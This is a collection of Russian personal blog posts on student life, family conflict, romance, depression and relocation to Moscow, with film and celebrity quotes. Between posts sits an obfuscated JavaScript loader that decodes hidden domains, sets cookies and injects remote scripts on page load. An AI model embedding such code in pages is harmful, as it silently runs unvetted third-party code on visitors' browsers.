Я не смог тебе написать “прощай”, ибо знал, что не смогу. #имя#, я люблю тебя. Поэтому смогу отпустить тебя. Только не хочу говорить, что это конец, не хочу убить мечту. Но и тревожить тебя больше не буду. Прости, что как-то напомнил о себе. И постарайся выкинуть меня из головы, придумай что-нибудь. Что я слишком разочарован, что не люблю, что блефую, придумай что хочешь, лишь бы было легко тебе. Скоро тебе ехать на учёбу, там начнётся новая жизнь: каждый день общение, новые знакомства, заботы… И чтобы ты не говорила мне я никогда не поверю, что ты не встретишь своего человека, и ты не будешь с ним счастлива. Ладно меня, но зачем обманывать себя? Ты будешь счастлива, и всё у вас будет нишятк. Будешь ещё с радостью вспоминать насколько я сейчас прав… Продержись до отъезда, потом будет легче, и забудешь всё как страшный сон, поверь мне. Пока.

P.s. Я люблю тебя.

Меня определенно все достало! Я не могу больше так жить. Так хочется что бы эти пол года скорее прошли, я бы получила диплом и устроилась на работу. Последний месяц как не работаю сущий ад. Да и из-за того что вернулась обратно к родителям жить на это тоже влияет. Я не хочу ни от кого зависеть! Я хочу иметь свои деньги, сама распоряжаться своим временем, да и своими действиями. Боже, как же я хочу уже жить в своей квартире, одна, что бы никто меня не трогал и не беспокоил.
Сейчас сижу и активно пытаюсь найти работу, только так, чтоб и с учебой можно было совмещать, да и возможность совмещать ее с дорогой. Я устала так жить, я не хочу так жить! А из-за этой гребанной учебы не особо получается что-то поменять.
Просто в моей жизни, в данный период, все уперается в деньги. И да, я считаю, что именно они делают человека счастливым. Сложилось так, что мои родители не богаты, и оченьочень многое мы не можем себе позволить. Не скажу, что все очень плохо конечно, питаемся мы нормально, деньги на дорогу и все необходимое у нас есть. Но знаете, невыносимо, когда приходится во всем себя ограничивать. Поэтому на 3 и первой половине 4 курса, я начала работать. Исполнила свою мечту и перебралась в Москву (так живу в 60км от Мск) начала снимать квартиру, и естественно поддержки от родителей особо не было(они бы и рады помочь, но нечем) Так вот этот год который я жила в Москве, просто незабываемый, я неплохо заробатывала и что самое главное-ни от кого не зависела!!! Но потом, пришлось вернуться обратно(т.к. последние полгода пошли, диплом, практика и т.д., ну и естественно родители начать капать науши, да и с работой возникли небольшие неполадки) И вот так, я стала опять зависеть от родителей, некоторое время после переезда, я все таки устроилась на выходные на работу и хоть какой-то, но свой доход я имела. Сейчас это заведение закрыли на ремонт.
Иногда у меня в такие моменты начинаются приступы нереальной истерики. Меня переполняет то ли злостью, то ли гррустью, но итог один-слезы.(с детва не удавалось никогда сдерживать слезы, уж очень эмоциональна)
Не знаю к чему весь этот рассказ.просто нужно было выговорится. опять сижу и рыдаю как сучка. опять поругалась с родителями. опять меня сделали во всех ггрехах виноватой. опять я оказалась плохим ребенком. ну в общем от этого всего настроение явно не улучшится.

Жизнь неинтересна, особенно когда ежедневно физически вкалываешь по восемь или двенадцать часов. Большинство людей живут именно так по крайней мере пять дней в неделю. Они что, любят жизнь? У нас с ними нет оснований любить жизнь. Восемь работаешь, восемь спишь. Если отнять ещё время на то, что нельзя не делать — получение водительских прав, замена шины, ссоры с подругой, — то в сутки остается полтора или два часа. Только два часа ты живешь, как ты хочешь. Я жил так годы и годы. И я не любил такую жизнь. Тот, кто любит такую жизнь — идиот.

Чарльз Буковски

Добрый день. Действительно добрый. Я решила завязать с болезнью и выйти в люди.
Вчера случился, не маленький такой, толчок. Я решила разгрести свое прошлое, которое меня тревожит. Выкидывала старые записи и наткнулась на дествительно полезные мысли: зачем о чем-то переживать, если всё это можно отпустить и просто принимать таким, как есть. Вообще всё

И я даже смогла спокойно уснуть, не обращая внимания на крики соседей и их неприемлимые мысли. Хотя это очень непросто так сразу себя переучить. И успокоиться

Утром я сходила в больницу и надеюсь больше туда не приходить по этому поводу. И вообще держаться подальше от них. Там не уважают людей. Они рубят бабки не честным образом. Что просто противно. Такое чувство, что они забыли все свои цели и мечты молодости, с которыми выбирали профессию
По расписанию у третьего курса психологов - логика, и для факультета, где учатся одни девушки, это - страшно. И тут в аудиторию заходит молодой человек, лет 28, крепкого телосложения и похожий на победителя первого сезона Х-фактора - это наш преподаватель. Он еще не начал семинар, а уже шутит во всю и радует нас. Я сразу подумала о прошлом годе и вспомнила философа, который изменил мою жизнь. Меня радуют преподаватели, которые заставляют думать и открывают новые стороны мира для меня. Я благодарю их, не смотря на то, каким сложным бы ни был его предмет.
А еще у такая вещь - пару месяцев назад у меня появился друг. Настоящий, который полностью разделяет мои интересы и похожий на меня на 98 процентов характера. Лучший, самый-самый. Он поддерживает и понимает. Он интересный и не живет бесцельно.

К сожалению, с дуру, мы поругались. Недавно он меня обидел. И не извиняется, так как боится, что я могу его простить. Да-да. Боится прощения. Потому что считает себя мудаком и отгораживает меня от своего присутствия. Такое бывает?

11 февраля 2016

Закончилась еще одна история. Кончились мои курсы английского, сегодня был последний день. Не особо я куда продвинулась, но по крайней мере это немного отвлекало, создавало иллюзию занятости и независимости. Возвращаться домой в десятом часу с папкой бумаг и важным видом впридачу… даа оно того стоило. Но самое печальное, что я больше не увижу того замечательного парня. Это поистине в моем духе влюбиться без надежды на взаимность или развитие отношений, просто влюбиться в идею. Но даже у меня так редко бывает. Ооооо я больше не увижу его прекрасную улыбку. Я готова заплакать. Человек сочетающий в себе все качества, которые я ценю в мужчинах, был так близко и в то же время совершенно недосягаем. А теперь совсем исчез. Мы просто вышли из здания, сказали друг другу пока и даже пошли в разные стороны! Это похоже на то чувство, когда ты закрываешь самую лучшую книгу, которую ты читал, и все твои переживания и чувства перестают иметь смысл и уходят навсегда. Все я реву.

Жизнь игра, играй достойно.

Вся моя жизнь в тебе, но насладиться этой жизнью я не смогу никогда

В искусстве я не любитель и не знаток, я просто девушка, которой нужно работать, чтобы жить

Я пыталась утопить свои печали, но эти ублюдки научились плавать

Тревога, горе, наслаждение, смерть — это, по сути, один, и всегда один, способ существовать

В моей жизни было две аварии: одна — когда автобус врезался в трамвай, другая — это Диего

..я проливаю потоки слез, впрочем, как говорится, собачьему визгу и женским слезам верить нельзя

Одно хорошо: я начинаю привыкать к страданию

Сила в том, чтобы, смеясь, облегчить свою душу

Позволь мне сказать тебе, парнишка, что сейчас самое худшее время всей моей жизни, и я удивлена, что при этом можно жить

Мечтаю уйти радостно и никогда не возвращаться

Nothing lasts forever, that's why I want you to be my nothing

— Фрида Кало

Вы получили такой бесценный дар, верно? Каждому из Вас творец даровал искупление! Убийцам, насильникам, осквернителям… И любому лишь стоит раскаяться и Господь прижмет к своей груди, да?
Во всех мирах, во всей Вселенной, никто похвастаться подобным не может… Это несправедливо!!! Если уж Господь наш, так возлюбил Вас, я сделаю ваш достойными его любви… Я давно за вами наблюдаю: только перед лицом ужаса, души ваши сразу очищаются… Они должны быть совершенно чистыми…
Я… Принесу Вам боль… Принесу Вам ужас… Чтобы Вы смогли возвысятся… Чтобы те, кто сможет выжить в царстве Ада на Земле, были достойны любви Господа…

— Ещё в детстве я понял, что могу видеть то, что недоступно другим, то, что лучше не видеть. У меня были обычные родители, и они поступили как полагается, и стало только хуже. Если долго считать себя чокнутым, то выход найдётся.
— Вы пытались покончить с собой?
— Не просто пытался, я целых 2 минуты был мёртвым. Но там, за чертой, время останавливается. И поверьте, 2 минуты в аду — это целая жизнь. Когда я вернулся, я знал, что все мои безумные видения реальны. Небеса и ад рядом, за каждой стеной, за каждым углом — это мир за гранью реальности, а мы застряли посередине. Ангелы и демоны не могут проникнуть в наш мир, и вместо них появляются Полукровки. Они — как ярмарочные зазывалы, они лишь нашёптывают на ухо, но одно их слово может наполнить сердце доблестью или превратить наслаждение в сущий кошмар. Изгнанники ада и посланники небес живут среди нас. Они говорят «равновесие», а я считаю это лицемерной болтовнёй. Если кто-то из Полукровок нарушает равновесие, я изгоняю эту жалкую тварь обратно в ад. Я ещё не всех изгнал, но думал, что заслужу отставку. Я не понимаю. Я самоубийца, и, согласно правилам, когда я умру, меня ждёт ад.
— А вы пытаетесь заслужить рай?
— А куда деваться, если впереди меня ждёт тюрьма, в которую я засадил половину заключённых.

— Детектив, а если я скажу вам, что Бог и Дьявол заключили пари? Что они ведут спор за душу кадого человека?
— У вас больное воображение!
— Не смешите меня! Избегать прямых контактов с людьми — вот их правило! Наблюдать на расстоянии, кто же выиграет.
— Ладно, продолжайте. Зачем?
— Кто знает… Может, ради забавы… Неизвестно!
— О, ради забавы? Забавно, когда муж жену до смерти забивает? Забавно, когда мать топит ребенка? И вы считаете, Дьявол во всем виноват, да? Сами люди слишком злы, мистер Константин, вот в чем дело.
— Вы правы. Действительно от рождения мы способны на ужасные поступки, но порой появляется нечто со стороны и слегка подталкивает нас…
— Что ж, спасибо, что просвятили меня. Но я не верю в Дьявола!
— Напрасно… А он в вас верит!

Не мыслишь свою жизнь без макияжа и истеришь, выйдя из дома ненакрашенной. Не знаешь хотя бы пару-тройку стихотворений. Не интересуешься новостями. Не развиваешься. Строишь из себя цветочек, мол, "я не пью я же девушка". Врешь постоянно. Плохо выглядишь. Не можешь поддержать со мной разговор. Обладаешь противными голосом/прической/манерами. Оскорбляешь меня. Лезешь не в своё дело.

Мне бы свою маленькую квартирку в Москве, работу интересную, друзей моих под боком и все! Будет счастье.

Мне написал парень один, тоже к нам переводится. С торгово-экономического.
Зашла посмотреть фотографии, и, оказывается, он тоже был на флешмобе бесплатных обнимашек в 2012 о_о Внезапно. И, кстати, это единственные снимки, что у него есть.
Ну, мы так смешно поговорили. Скинула ему те билеты, что по мировому кино сдавали, он был немного шокирован. Но, судя по всем его репостам из многочисленных кинопабликов, уже пытается киноведить :D
Было чутка странно, когда он попросил скинуть фоточку меня. Ответил вот что: 'Моя личная Одри *-* '
…

ЧТО ПРОИСХОДИТ



Окей, ладно, завтра договорились созвониться, чтобы вместе пойти на пары. А то еще заблудится.

"если бы ты была 2д, я бы тебя видел каждый день."

И мы начинаем умнеть Часто, когда уже ничего не успеть, Уже часто, когда мосты сожжены, Часто, когда мы уже не нужны.

Тебе стоило просто стоять рядом со мной, не трогая, не целуя меня, и я была готова отдать весь мир за тебя. Я делала очень глупые поступки, чтобы просто быть рядом и смотреть на тебя. Я думала, что это лучшее, что может быть в моей жизни, ну а что может быть лучше любви?! Не описать, не рассказать и не почувствовать вновь того, что чувствовала я. Я просто видела его и думала, это мой мужчина, он весь мой. Его волосы, губы, руки. Я бы еще раз все это пережила, ничего бы не изменила, ни секунды проведенной с ним. Но только во снах, я вижу тебя, а ты постоянно извиняешься и говоришь, что все будет хорошо..а я верю, так же как и раньше верила, просто не открывая глаз. Господи, спасибо за то, что мы можем чувствовать это, хоть и не большой отрезок времени, но в памяти на всю жизнь

бляяяя, я это ненавижу, как избавиться от веса, как опять блять заставить себя?

А все из-за этих сук, которые доводят до состояния либо помри от разрыва сердца, либо заешь это все шоколадом!

Это просто чёрная полоса. Скоро все наладится.

Сегодня поехали с Серёжей и подругой кататься на сноубордах. И, о боги, это было шикарно! Скатились по три раза, потому что много болтали, и трасса длинная и не слишком интересная была. На другой были соревнования. Народу было немного, "асы" не носились по головам. Мы много сидели на трассе и болтали :D потом у меня разболелось колено, мы поднялись наверх в кафе, попили кофе и снова скатились. Последний раз прям шикарный был. Я уже позволяю себе ехать с прямо стоящей доской (по склону) и разгоняться до слёз в глазах. А потом резко тормозить и поднимать пургу из-под доски. Ухх. Приехали домой без сил и стрясущимися руками. Почему руками, а не ногами- не знаю. Но сейчас ничего не болит, и настроение отличное!

Как сказал мне мой папочка: "Я тебе не должен ничего. А ты обязана."

Больше всего меня бесит, что некоторые люди считают, что раз они зачали ребенка, то этот ребенок, блять, им обязан пиздец как.

Кажется я не люблю никого. Даже родителей. Можете думать что угодно. Мне абсолютно похуй.

вот тут подумала: почему, когда нас бросают, то говорят "не хочу делать тебе больно", а они в курсе, что именно в тот момент делают больнее всего?

Узнать завтра, что я сдала метеорологию, а то уже как-то не уверенна.

Пришла с улицы, решла зайти на вьюи… до сих пор сижу в сапогах)

Да потому, что с телефона даже в бесплатной версии вью нет этой хреновы рекламы!!!! Которая, между прочим, в випе никуда и не пропадает. Мне не жалко 99 р, или сколько там. Но на кой черт платить хоть 1 рубль, если реклама сохраняется, а через телефон её тупо нет) и платить не надо)

Rami Malek doing the robot in the M4k1ng_0f_Mr_R0b0t.mov

Надо учиться наслаждаться маленьким промежутком времени между тем, как от тебя все отъебались, и тем, как тебе стало бесконечно одиноко.

Посмотрели с подругой фильм, а я до сих пор не добралась до заветных бутылок с алкоголем. Ну все, теперь точно хватаю бутылку, включаю следующий фильм и начинаю напиваться, йохохо!

вот есть жена красивая, а есть просто жена. возможно она даже очень приятно выглядит, иногда делает маникюр и человек она замечательный, только вот смотришь на нее, и….ничего. То есть вы понимаете? совсем ни-че-го. Встретив на днях моего знакого, вспоминаю, что жена то у него красивая! я бы даже сказала очень! только вот в один момент он собрал вещи и ушел. Даже дверью хлопать не стал. просто.ушел. я конечно не могла не поинтересоваться, в чем дело то? она же….красивая) на что он вообще долго не думая; "да задолбала! пусть лучше будет не такая красивая, зато мой мозг будет, как минимум жив!" Это я к тому, что будь ты хоть тритысячи раз прелестным персиком, залезая в рот 24 часа в сутки от тебя просто вытошнит!

Выходные обещают быть насыщенными.
Настолько, что даже страшно немного. Ждите завтра кулстори. Ну или в субботу - не факт, что дома заночую.
Хочется поделиться планами, но боюсь сглазить.

Зато откуда-то у меня взялась удивительная способность выстраивать хорошие, теплые, дружеские отношения с теми, кто не раз мне сделал больно. И что-то все никак не осознАю, холодно мне от этого или горячо.

На самом деле способность-то давно уже, а сформулировала и задумалась о ней я только сейчас.

https://sprashivai.ru/kisamr

Было бы неплохо, если у нас все пошло бы по-человечески и в адекватной манере. А то я уже начинаю задумываться о том, что то, что сейчас творится (но никак не происходит) в скором времени надоест, вся эта наша выдуманная в моей голове история обратится в пыль… и на этом все. Хотя он сказал, что все будет хорошо.

Потому что он Бэтмен.

Начиная с первой части фильма Форсаж выпущенного в 2001 году, дрэг-рейсинг был признан автомобильными энтузиастами как новая веха в глобальной уличной культуре. Находящийся в Австралии фотограф Саймон Дэвидсон захватил камеру и отснял потрясающий и наполненный адреналином спорт, который охватил весь мир. Его серия снимков известна просто как Burnouts, погружена в самый центр дыма, огня, горелой резины и потрясающе украшенных автомобилей.

От каждого кадра проявляется зыбь волнения, чувствуется действие в тумане дыма и энергии несущегося на тебя Шеви. Просто видеть водителя, его кулаки выброшенные из окон автомобиля, занос создающий клубы адского дыма, все это увеличивает скорость просмотра и дает прочувствовать прилив восторга.

Ибо нехуй так жить. Ничего хорошего не выйдет, а плохого и так предостаточно в этой прогнившей изнутри жизни. Помочь нечем. Смирись.

Слава Богу, моя специальность и не предполагает зацикленности на театре. Кино и тв, музеи и галереи, концертные и продюсерские конторы - выбирай-не-хочу. И куда денежнее, чем любой драмтеатр, кстати.

А может, это просто психоз после вчерашнего спектакля из моего практикотеатра, который хочется развидеть. Первой фразой моего первачка (которого снарядили со мной проходить практику, и который теперь ходит за мной хвостиком и во всем слушается) после спектакля было: "Ну, я видел спектакли и похуже". - Да неужели?!

Сегодня узнала, что в один из тех театров, куда я мечтала пойти, набирают админов. Если бы я там была, я б зубами вцепилась… Так что, наверное, всё же психоз.

Прогуляла сегодня практику, волонтерство и пересдачу. Ни капли стыда.

В детстве у меня была странность - всегда делать обратное тому, чего от меня ожидают. Эх, как бы мне она теперь пригодилась.

Не хочу ни для кого быть удобной.

"возможно, я причиню тебе вред. возможно, просто пугаю" день.

ей с рук сходит мужской траффик, но я же расцениваюсь как потенциально опасная.

по кинохит снова показали фильм Патруль (end of watch)

я не помню уже, сколько раз смотрел. каждый раз погружаюсь в просмотр с большим удовольствием. даже такая излюбленная техника, как подход с мокьюментари совсем не напрягает, не раздражает. как было, например, с Хроникой Транка (еле досмотрел тогда) и казалось бы, что можно привнести нового в фильм про полицейских? а много чего! Патруль невероятно свежий, с хорошим юмором, и с увлекательной концовкой.

а дуэт Джилленхолла с Майклом Пенья был крышесносящим.

о, теперь по кинохит Охотники за разумом!

обожаю телевидение

"Ого, ты что реально с каким-то военным вечерами катаешься? ну-ка колись" . На самом деле я не очень хотела, чтобы Солнце знал об этом всём. И будь моя воля я бы вообще ничего ему об этом не рассказала, но он настоял . Да ещё и добавил "обидно, что изначально не рассказала". А я сидела и думала: а разве должна была? В итоге выплеснула ему про всё и всех. Когда он узнал, что военный. с которым я катаюсь - это Сергей, то сразу же выпалил "Пообещай, что будешь аккуратной с ним, это не тот человек, которым кажется, я тебя не пугаю, но просто прислушайся ко мне" . И этим он меня действительно напугал. Я начала расспрашивать. Узнала действительно много нового, о чем и подумать не могла. Теперь всерьёз задумываюсь над тем, чтобы оборвать все связи с Сергеем. Я, конечно же, видела и догадывалась, что есть свои скелеты в шкафу, но думала, а вдруг просто показалось. Солнце убедил меня в обратном. Сказал, что я достойна человека намного лучше, чем этот тип . Ещё сказал мне, что мой лучший друг тоже дурачок. Мол, знает же, что из себя этот Сергей представляет, но не удосужился мне на мозг покапать, чтобы я не делала глупостей. В общем, и Солнце, и я поняли, что лучше нам поддерживать связь, ибо за мной нужен глаз да глаз . Рассказала и про других парней, про друга Сергея. Но ни одного Солнце не оценил, сказал, что все не те. Я и сама это понимала. Я ведь чувствую, когда человек мой. Ни один из тех, с кем я общаюсь не может дать мне ощущение своего, родного. И напоследок самое обидное. До него не дошло моё поздравление с Днём Рождения(!!!) . Я написала огромное смс. Там была поэма! Там было столько тепла! А он это не получил. Сказал, что было дико обидно и неприятно. Мол, кто угодно мог забыть об этом, да даже сестра могла забыть, но только не я. А я ведь чувствовала, что что-то не так, ибо мне не пришло никакого ответа. У меня изначально были сомнения, но потом я как-то забыла и всё улеглось. А сейчас вот всплыло наружу. Чувствовала себя тварью последней, так неловко было, вы бы знали. Но мы всё замяли. Беру свои слова о том, что мне проще и легче без него обратно. В моменты, когда он не выеживается и нормально себя ведёт, не козлится и не играет в пофигиста, с ним можно найти общий язык. Да и ловлю себя на мысли, что как парень он мне тоже уже совсем не нужен. Мне сейчас как парень, наверное, вообще никто не нужен. Я и так живу счастливо. И снова горжусь собой. Всё-таки опыт даёт о себе знать. Легко отпускаю, легко прощаю, легко иду навстречу чему-то новому. Ну, не получилось у нас отношений. Ну, не срослось. Может спустя время срастётся, а может - никогда. Но разбрасываться хорошими людьми - грех. Именно поэтому я остаюсь с ним рядом, а он со мной.

Вышли курить. Я была в блузке и в халате, парни в куртках. На улице дикий ветер и вообще довольно холодно. На одно мое плечо Рома надел свою куртку, Никита-на другое. Вот и стоят они такие раздетые на морозе, а я сразу в 2 куртки закутана, как пингвин. Честно, я так смеялась. Просто остановиться не могла. Добро на психологии сегодня безгранично.

Мама чуть успокоилась, уже не плачет, да и меня больше не трясет, Дина уехала, а это большой плюс. Завтра может быть пойдём с Никитой куда-нибудь. Хороший он человек. Не зная, что произошло, говорил такие потрясающие слова в мой адрес, что действительно поднял настроение. Он и девочки вчера очень поддержали. Просто огромное им спасибо, что они есть в моей жизни.

Препод:

— Как отличить плохую книгу от хорошей.

Я:

— Нуу, если книга не написана Донцовой, значит, она - хорошая.

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

честно, я уже и плакать не могу,
вот этот предел, когда мой внутренний океан высох.

читаю тебя по строкам.
отголосками всех имен.
и во мне тихо шепчет тревога,
" он в тебя ни черта не влюблен"

В какой-то момент приходится понять, что некоторые люди могут остаться только в сердце, но не в твоей жизни.

Знаешь, а мы с тобой похожи.
Нам обоим все равно.
Только тебе все равно на меня,
а мне все равно на всех, кроме тебя.

"Корабельная чаща"

"Фацелия"

слышать от шлюх о верности, от трусов о смелости, от врунов о честности, от мразей о моральных принципах. Забавно считать себя лучше других. 11.02.2016.

Знаменитый голландский фотограф Erwin Olaf обладает довольно-таки специфическим чувством юмора. Иногда он прячет свою иронию над человеческой сущностью за маской серьёзности и вылизанного абсурда, иногда – за ширмой средневекового эстетизма, иногда – под покровом возбуждающей игры. А порою выставляет свой сарказм напоказ. И все эти придурковатые девочки, нелепые старушки и двусмысленные юноши оказываются не просто нашим кривым зеркалом – они показывают, как мы, желая видеть себя невероятно глянцевыми и роскошными, влипая в представление о том, какими необходимо быть, впадаем в забавную пошлость.

Персонажи, мечтающие быть другими персонажами вызывают улыбку.

Хотя у кого-то, наверное, могут вызвать и нервную дрожь, и мурашки-по-коже.

Тем не менее – а может, именно поэтому – Олаф ведет не только выставочную деятельность, но и активно работает для таких серьезных изданий, как New York Times, IF, а компании, для которых он делал рекламу, вроде Microsoft, BMW, Disel, даже перечислять не имеет смысла.

Не сдала я курсач, в пизду. Я не сдала курсач по легкой теме! Пипец.

знаете девчата, а вы правы. я очень благодарна вам за слова поддержки. я и правда достойна лучшего. нужно просто подождать. а на ебаного мудака забить хуй. сам же потом жалеть будет, зная кого проебал. как будто эти отношения мне больше всех нужны были. разойдуться его кореша по работам, делам, другим корешам, он тут же начнет жалеть о своих поступках. но будет уже поздно. а я тем временем буду любить и уважать себя и становиться более охуенной(хотя куа уже более)))

На минуточку представила, что будет, когда я окажусь в Диснейленде.. я буду прыгать на месте, кричать от радости, плакать и бросаться с объятиями на всех персонажей Диснея! Надеюсь, меня не повяжут..))

-Даша, ты можешь говорить спокойно?

-А ты?

-Боже, какой у тебя скандальный характер. Ты с Владом такая же? Как он тебя только терпит. Ангельское терпение.

-А как папа тебя терпит?, - на любой мамочкин аргумент, у меня всегда есть не менее весомый контаргмуент.)

есть такие люди, от которых меня выворачивает, от одной мысли о них, воротить начинает

важко, чому тебе не має поруч? чому тебе не має поруч в цей бісовий момент?

Привет. Это будет первый полноценный пост, который я напишу спустя почти два года, с тех пор как я переехала в Москву. За это время я не могла из себя выдавить ни слова, из-за того что погрязла в проблемах, в быту, и в депрессиях. Я пропала почти во всех соц. сетях/ забросила блог/ и растеряла весь свой старый круг общения, который теперь подозрительно стал похож на точку.
Предыстория: Я и мой молодой мужчина, взяли свои копейки в кошельке, которые были, собрали вещи, и свалили из страны. Это было не по своему желанию, а по желанию страны, которая начала потихонечку бомбить свою же территорию. Сейчас не хочу углубляться во всю эту политическую дичь, а просто скажу, что бежали все, и мы просто стали одними из тех, кто еще хотел нормально жить, а не существовать и боятся каждую минуту.
“Когда людям некуда деваться, они едут в Москву…”
В Москве у меня была подруга, которая предложила пожить три месяца в квартире её бабушки, пока та находится за границей в отпуске, с расчетом на то, что в Луганске стихнет и мы сможем вернуться. Но спустя три месяца тише не стало, поэтому нужно было устраивать свою жизнь заново. Вот тут-то и закружился мой круговорот судьбы, который изрядно потрепал мои нервы сделал меня сильнее.
На тот момент мне было 18 лет. Уже на втором курсе института я числилась как на индивидуальном обучении (Просто приезжай не сессии, и плати деньги, девочка). Началась моя суровая взрослая жизнь.
Первая проблема с которой мы столкнулись - были поиски работы. Я устроилась работать секретарем на ресепшен. Не хочу показаться привередливой, но это была не “малина”. И да, это была моя первая работа. Начальница оказалась редкой стервой, которую не переносила на дух вся компания. По одному взгляду на её лицо можно было понять что это фригидная недотраханная особь женского пола. Звали её Наташа. Так вот, Наташа ненавидела всё, что движется, а все что не движется, Наташа двигала и ненавидела. Полгода я была в подчинении у такого “горе-начальника”.
Второй проблемой был съем жилья. Найти квартиру по разумной цене было нереально, особенно для тех у кого денег хватало исключительно на еду. Поэтому мы влезли в долги. Большие долги. На то время, мне казалось это бешеной суммой, но выбора у нас не было. Первые два месяца мы снимали комнату с одной чудаковатой парой в возрасте. Ужиться с ними у нас не вышло. Женщина была медиком-педантом, зацикленной на чистоте до маразма, а мужчина работал таксистом, часто приходил поздно ночью, пил спирт и дебоширил. В выходные вместо спокойного отдыха за просмотром сериалов, мы наблюдали свое короткометражное кино с криками и битьем посуды от сожителей нашей квартиры. Не долго думая, я поняла что нужно валить, и через знакомых нашла квартиру где мы уже смогли жить отдельно.
Проблема номер три. Глобальная так-с сказать. Переехав уже на третью квартиру, набравшись долгов и отчаявшись в жизни, мой парень теряет работу, и без того мало оплачиваемую, да еще и перед новым годом. Сказать, что было тяжело - это ничего не сказать. Это был мой личный ад.
Устроиться в России с украинским паспортом было не легко. В основном были “кидалы” которые брали и не платили. И так, мы жили пол года на одну мою зарплату в тридцать тысяч, при том что 20 тысяч отдавали за квартиру. Как я это пережила, честно, не представляю.
Четвертой проблемой стал мой вышеупомянутый парень. В то время, пока я ходила на работу, он созывал всех своих товарищей и пил пиво, вместо того чтобы серьезно заняться поиском работы, или хотя бы найти подработку. Мои нервы не выдерживали, хотелось выть волком на луну. Сделать я ничего не могла. Бросить его - значило остаться совсем одной, хотя по сути я и так была одна, он только создавал видимость того, что он есть. Мы очень часто ругались на этой почве, но расстаться так и не смогли.
Пятое. Родители развелись после моего отъезда. К этому давно все шло, а мой отъезд дал им толчок для того, чтобы освободиться друг от друга. Папа уехал зарабатывать на север России. Мама уехала к своей маме. Это тоже очень давило на меня.
Вот так я прожила год. От одной проблемы к другой проблеме. Не одна пачка афобазола и валерьянки была выпита. Потом моё колесо фортуны встало на правильный путь. В марте прошлого года, перед моим днем рождением, меня повысили. Я перешла в департамент проектных работ, где работаю до сих пор. У меня чудесный коллектив, и хороший начальник. Зарплата высокая, появилась премия. Пока что это лучшее, что у меня могло быть исходя из моего опыта работы и ещё незаконченного высшего образования.
Спустя несколько месяцев после моего повышения Ю. тоже нашел работу и мы смогли более менее “видеть” деньги. Понемногу начали отдавать долги. Отношения наладились. Кстати говоря, через месяц у нас будет дата. 4 года как мы вместе. Такие вот дела.

Сейчас все проще и лучше… но это уже совсем другая история :)

________________________________________________________________

Хочу сказать, как бы вам не было в жизни плохо, никогда не опускайте руки, дышите ровно, двигайтесь дальше. “Неважно, как медленно ты идешь. Главное - не останавливайся.”

Ужасное состояние не отменяет того, что мне нужно съездить купить маме духи; продукты Китти завтра на курсы; грибочки, так как Китти у нас сегодня будет готовить новое блюдо, а я не хочу быть безучастной, хоть как-то помочь. Не представляю, как и что буду делать, ибо мне очень плохо. Купить книгу по английскому, которую посоветовал репетитор. Ну и, разумеется, покормить моих ребяток.

Думала, что отлежусь сегодня дома, подлечусь, все дела сделаю завтра, а в итоге.. Всё равно придётся в город выезжать.

Решила взять себя в руки, и начать общаться с интересными мне людьми. Вчера я ходила гулять с русским-американцем. Парень родился в Барнауле, потом они переехали в мой город, а лет в 6 он с родителями уехал в Штаты. Рассказал мне о своей насыщенной жизни. Жил в ЛА и тамже закончил университет, потом жил и работал в Нью-Йорке, в это же время встречался с девушкой, и как оказалось спустя несколько месяцев она предложила ему деньги за то, чтобы он женился на ней (в общем, чтобы получить гражданство). В общем, парень побывал в диких ситуациях за свои 28 лет.

Сделала для себя вывод, что от таких интересных личностей заряжаюсь неимоверно крутой энергетикой. Хочется творить и заниматься тем, что тебе нравится и не опускать руки.

А еще, я же "работаю", точнее просто помогаю знакомым ребятам, которые начали выпускать свою одежду - если интересно, то вот вас ссылка(кликабельно). И в общем, я буду работать у них моделью для новой коллекции, не знаю конечно как это все будет выглядить, мои стандарты точно не модельные, но надеюсь, что все получится. ;)

p.s. еще забила на этого бармена, он оказался мутным человеком, хоть и черт возьми, тересным! Также с моим М., а точнее с моим другом, все до сих пор также запутанно, флиртуем с друг другом, а "искры" нет, боже, какие же мы с ним странные.

Настолько плохо, что час не могла встать из постели, чтобы пойти сделать себе мёд с имбирём. Это ж надо было так заболеть, чёрт побери.

Хотела написать или даже ответить, так будет правильнее, на пост про то, что не хочу идти к врачам. Есть причины, по которым я не жалую наших врачей. И я это писала, кстати. Но как только соберусь с силами, обязательно продублирую всё.

